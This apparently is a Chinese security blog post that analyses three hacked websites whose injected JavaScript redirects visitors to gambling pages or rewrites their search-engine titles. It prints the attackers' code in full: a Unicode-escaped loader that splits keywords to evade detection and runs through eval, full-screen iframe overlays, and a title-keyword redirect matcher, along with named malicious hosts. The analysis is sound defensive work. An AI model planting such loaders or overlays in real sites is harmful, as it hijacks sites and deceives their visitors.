
案例1
目标:http://suvcars2015.com/
访问目标后会自动跳转到违规网站
使用开发者工具的网络功能看一下网站都做了什么。css看了下没有问题,都是正常内容。js中是看到了两个可疑文件,链接分别为
https://happywealth10.com/js/25/10/d/f2.js
https://hyppgood.com/js/f2.js
全局搜索了一下这两个地址,只有第一条链接能够搜到。可以看到这个请求是写在首页里面的,查看一下这个js内容是什么样。
一眼就看到Unicode编码
解码后的到第二条js的地址,原来链接是出自这里啊
再访问一手js,看看里面的内容。还有被编码的内容,解码后再次访问
终于到头了,到这里就搞清楚逻辑了。访问目标站跳出来的界面是来自这个站点:https://hyppgood.com/go/f2/ky.html,分析下js都干了些啥
分析第一个js:https://happywealth10.com/js/25/10/d/f2.js。
这段代码中主要分为两个功能:行为代码、统计代码。
从第6行开始都是统计代码,用了两个服务商:百度统计、51LA统计,这里就不细说了,直接过。
这段主要是把script、document、javascript前端核心关键字拆分,避免被安全检测工具识别到。
var l_a_n_g_age = 'javascript';// 脚本语言:javascript
var sen_type = 'cript';// 拆分script标签:拼接后为script,规避关键字检测
var c_d1 = "document";// 抽离document对象名,配合后续拼接执行标签还原:<s' + sen_type + '>拼接为<script>,</s' + sen_type + '>拼接为</script>,完整还原脚本标签
属性还原:language/type通过变量拼接为javascript
解码结果:https://hyppgood.com/js/f2.js
var c_d2 = 'writeln("<s' + sen_type + ' language=\'' + l_a_n_g_age + '\' type=\'text/' + l_a_n_g_age + '\' src=\'\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0068\u0079\u0070\u0070\u0067\u006f\u006f\u0064\u002e\u0063\u006f\u006d\u002f\u006a\u0073\u002f\u0066\u0032\u002e\u006a\u0073\'></s' + sen_type + '>")';最后由eval拼接并执行混淆后的代码
拼接结果:document.writeln("<script language='javascript' type='text/javascript' src='https://hyppgood.com/js/f2.js'></script>")
eval(c_d1 + "." + c_d2);分析第二个js:https://hyppgood.com/js/f2.js 
用来判断是否为移动设备的,在脚本里面没有实际运用起来,过。
function isMobile() {
if ((navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i)))
return true;
else
return false;
}解码结果:https://hyppgood.com/go/f2/ky.html
var url="\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0068\u0079\u0070\u0070\u0067\u006f\u006f\u0064\u002e\u0063\u006f\u006d\u002f\u0067\u006f\u002f\u0066\u0032\u002f\u006b\u0079\u002e\u0068\u0074\u006d\u006c";用来检测ios版本的,在脚本里面没有实际运用起来,过。
function getIosVersion() {
var str = navigator.userAgent.toLowerCase();
var ver = str.match(/cpu iphone os (.*?) like mac os/);
return ver ? parseInt(ver[1].slice(0,2)) :false
}用来检测ios的User-Agent,在脚本里面没有实际运用起来,过。
var u = navigator.userAgent;
var isIOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/);用来生成随机数的,在脚本里面没有实际运用起来,过。
function randomNum(minNum,maxNum){
switch(arguments.length){
case 1:
return parseInt(Math.random()*minNum+1,10);
break;
case 2:
return parseInt(Math.random()*(maxNum-minNum+1)+minNum,10);
break;
default:
return 0;
break;
}
}最后这段就是生成一个占据全屏的窗口,隐藏滚动条,不允许用户缩放画面,最后把恶意网站的界面显示出来
document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
document.write('<style>html,body{widht:100%;height:100%;overflow:hidden; clear:both;}</style>');
document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff">');
document.write('<iframe src=" '+url+'" frameborder="0" style="border:0;width: 100%; text-align: center; border: medium none; height:100%;max-height: 4000px;"></iframe>');
document.write('</div>');案例2
目标:http://www.shksywl.com/
访问目标后会自动跳转到违规网站
在开发者模式里可以明显看到一个不正常的js。知道js的名字直接全局搜索,但是没有找到。
在网站首页翻了一下才找到代码段,原来是被编码我说怎么搜索不到呢。解码后是/seo.js
访问看一手,看看代码是什么逻辑。同样分为行为代码和统计代码,统计代码就不说了。
行为代码原本被加密了,但是他给了加密平台。访问后发现支持解密,下面就是解密后代码。
恶意行为核心代码,没啥好说的还是远程加载js
var __Ox1185a4 = ["<script language = "javascript"type = "text/javascript"src = "https://www.uapp360.com/zn/seo.js"charset = "utf-8" > </script>", "writeln", "undefined", "log", "删除", "版本号,js会定", "期弹窗,", "还请支持我们的工作", "jsjia", "mi.com"];
document.writeln(coreConfig[0]);分析远程加载的js:创建占据占个屏幕的窗口,隐藏滚动条、清除默认边距内边距,让页面无法滚动、无空白区域。
document.write('<meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"><style>html,body{width:100%;height:100%;overflow:hidden;margin:0;padding:0}</style>');用来检测关键字的,这个站点的tilte被改成了:365best体育亚洲官网入口(中国)股份公司-Maigoo百科。下面的代码对title检测关键字,检测到符合的就显示对应的链接,虽然他们的链接都一样。最下面的代码同样创建一个占据整个屏幕的窗口用来显示匹配到的链接。
function checktitle() {
var fit = 1;
var sou;
var title = document.title;
if (title.indexOf("金沙") != -1 || title.indexOf("js") != -1 || title.indexOf("金莎") != -1) {
sou = "https://www.jsjkeji.com/zhuye/index.html";
} else if (title.indexOf("葡") != -1 || title.indexOf("亰") != -1 || title.indexOf("京") != -1 || title.indexOf("匍") != -1 || title.indexOf("蒲") != -1 || title.indexOf("浦") != -1 || title.indexOf("pj") != -1 || title.indexOf("普") != -1 || title.indexOf("莆") != -1) {
sou = "https://www.jsjkeji.com/zhuye/index.html";
} else if (title.indexOf("银河") != -1 || title.indexOf("yh") != -1) {
sou = "https://www.jsjkeji.com/zhuye/index.html";
} else if (title.indexOf("永利") != -1 || title.indexOf("yl") != -1) {
sou = "https://www.jsjkeji.com/zhuye/index.html";
} else if (title.indexOf("blr") != -1 || title.indexOf("巴黎") != -1) {
sou = "https://www.jsjkeji.com/zhuye/index.html";
} else if (title.indexOf("太阳") != -1 || title.indexOf("tyc") != -1 || title.indexOf("太陽") != -1 || title.indexOf("大阳") != -1) {
sou = "https://www.jsjkeji.com/zhuye/index.html";
} else if (title.indexOf("威尼") != -1 || title.indexOf("威斯") != -1 || title.indexOf("尼斯") != -1 || title.indexOf("斯尼") != -1 || title.indexOf("vns") != -1 || title.indexOf("wns") != -1 || title.indexOf("威力") != -1 || title.indexOf("威利") != -1 || title.indexOf("尼维") != -1) {
sou = "https://www.jsjkeji.com/zhuye/index.html";
} else if (title.indexOf("bet36") != -1 || title.indexOf("356") != -1 || title.indexOf("365") != -1 || title.indexOf("bte") != -1 || title.indexOf("bet360") != -1 || title.indexOf("bet356") != -1 || title.indexOf("日博") != -1 || title.indexOf("mob") != -1 || title.indexOf("best") != -1 || title.indexOf("beat") != -1 || title.indexOf("世界杯") != -1 || title.indexOf("奥运会") != -1 || title.indexOf("欧洲杯") != -1 || title.indexOf("bt365") != -1) {
sou = "https://www.jsjkeji.com/zhuye/index.html";
} else if (title.indexOf("betway") != -1 || title.indexOf("必威") != -1) {
sou = "https://www.jsjkeji.com/zhuye/index.html";
} else if (title.indexOf("云顶") != -1 || title.indexOf("雲顶") != -1 || title.indexOf("yd") != -1) {
sou = "https://www.jsjkeji.com/zhuye/index.html";
} else if (title.indexOf("公海") != -1 || title.indexOf("gh") != -1) {
sou = "https://www.jsjkeji.com/zhuye/index.html";
} else if (title.indexOf("万博") != -1 || title.indexOf("狗万") != -1 || title.indexOf("manbet") != -1 || title.indexOf("max") != -1 || title.indexOf("man") != -1) {
sou = "https://www.jsjkeji.com/zhuye/index.html";
} else if (title.indexOf("yabo") != -1 || title.indexOf("亚博") != -1 || title.indexOf("亚搏") != -1 || title.indexOf("亚慱") != -1 || title.indexOf("雅博") != -1) {
sou = "https://www.jsjkeji.com/zhuye/index.html";
} else if (title.indexOf("bwin") != -1 || title.indexOf("必赢") != -1) {
sou = "https://www.jsjkeji.com/zhuye/index.html";
} else if (title.indexOf("dafa") != -1 || title.indexOf("大发") != -1) {
sou = "https://www.jsjkeji.com/zhuye/index.html";
} else {
sou = 'https://www.jsjkeji.com/zhuye/index.html';
}
var iframe = document.createElement('iframe');
iframe.src = sou;
iframe.style.position = "absolute";
iframe.style.width = '100%';
iframe.style.height = "100%";
iframe.style.top = "0px";
iframe.style.left = "0px";
iframe.style.bottom = "0px";
iframe.style.zIndex = "9999999999999";
iframe.style.border = 'none';
iframe.style.background = "#000";
document.body.insertBefore(iframe, document.body.firstChild);
document.body.style.overflow = "hidden";
}兼容浏览器,最后执行行为
function ready(fn){
if(document.addEventListener){ //标准浏览器
document.addEventListener('DOMContentLoaded',function(){
//注销时间,避免重复触发
document.removeEventListener('DOMContentLoaded',arguments.callee,false);
fn(); //运行函数
},false);
}else if(document.attachEvent){ //IE浏览器
document.attachEvent('onreadystatechange',function(){
if(document.readyState=='complete'){
document.detachEvent('onreadystatechange',arguments.callee);
fn(); //函数运行
}
});
}
}
/*window.onload=function(){
checktitle();
}
*/
ready(function(){checktitle();});案例3
目标:http://www.jxn-et.com/
访问目标后页面虽然是正常的
但是在百度收录记录中,第一条的收录信息是违规信息
上篇文章提到搜索引擎是靠title、description、keywords三个标签的内容来显示收录信息的。这个站点所有界面的head部分内容全部被恶意修改了。
像这种类型的一般都是由恶意脚本进行修改的,本站的内容被红框中的脚本控制了title、description、keywords三个标签的内容
目标:http://www.cmylh.cn/
访问目标后会强制跳转到:http://cmylh.cn/about/index3.html
网页的title全部被修改,百度收录记录全都被污染
思考
攻击者为了规避检测,通常都会多重技术手段叠加使用,大大增加了恢复难度。

暂无评论内容